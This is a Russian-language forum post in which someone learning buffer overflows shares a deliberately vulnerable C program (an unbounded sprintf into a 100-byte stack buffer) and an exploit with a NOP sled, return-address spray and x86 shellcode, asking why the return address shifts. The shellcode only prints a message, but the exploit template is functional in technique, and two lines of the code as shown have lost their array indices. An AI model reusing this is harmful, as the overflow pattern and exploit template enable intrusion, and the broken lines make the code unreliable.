Играюсь тут с переполнениями, решил написать программу и эксплоит к ней. Трабла в том, что при определённых значениях RET_ADDR он изменяются, например 0xbffffbf4 меняетcя на 0xbffffc5a. Разумеется, всё после этого перестаёт работать. Пробовал разные адреса, но все адреса, указывающие на поле из nop'ов, изменяются. Символов, которые sprintf преобразовывает, вроде нет. Вот сурцы, если кому не лень позаморачиваться, буду благодарен... p.s. скрестил эксплойт с программой, всё заработало ==========[vuln.c]============ #include <stdio.h> int main(int argc, char **argv) { unsigned char buf[100]; int i; if(argv[1]) printf(" [+] Received %d bytes\n",strlen(argv[1])); sprintf(buf,"%s",argv[1]); printf(" beginning of buffer: [ %p | %x ]\n",buf,buf[0]); for(i=1;i<strlen(buf)+1;i++) { printf("0x%02x ",buf[i-1]); if(i%8==0) printf(" [0x%08x] \n",&buf[i-1]); } printf("\n"); printf("[+] received text\n"); } ==========[exploit.c]============ #include <stdio.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #define SIZE 129 //128 bytes to rewrite eip+null_byte #define NOP 0x90 int main(int argc, char **argv) { int RET_ADDR=0xbffffbf4; unsigned char buff[SIZE]; int i; if(argv[1]) RET_ADDR=atoi(argv[1]); //Wanna go for a ride? //51 bytes unsigned char shellcode[]= "\x31\xc0" "\x31\xdb" "\x31\xd2" "\x68\x0a\x90\x90\x90" "\x68\x69\x64\x65\x3f" "\x68\x20\x61\x20\x72" "\x68\x20\x66\x6f\x72" "\x68\x61\x20\x67\x6f" "\x68\x57\x61\x6e\x6e" "\x89\xe1" "\xb2\x15" "\x43" "\xb0\x04" "\xcd\x80" "\x31\xc0" "\xb0\x01" "\xcd\x80"; printf(" Using ret addr : [ 0x%08x ]\n",RET_ADDR); int *p = (int *)(buff); //make int pointer to buff //fill the whole buffer with ret addr for(i=0; i<SIZE-1; i+=4) { *p++=RET_ADDR; } *p=0x0; //fill the first half of buffer with nops for(i=0; i<SIZE/2+1; i++) buff=NOP; //place shellcode after nops for(i=0; i<strlen(shellcode); i++) buff[i+SIZE/2+1]=shellcode; execl("./vuln", "vuln", buff, NULL); return 0; }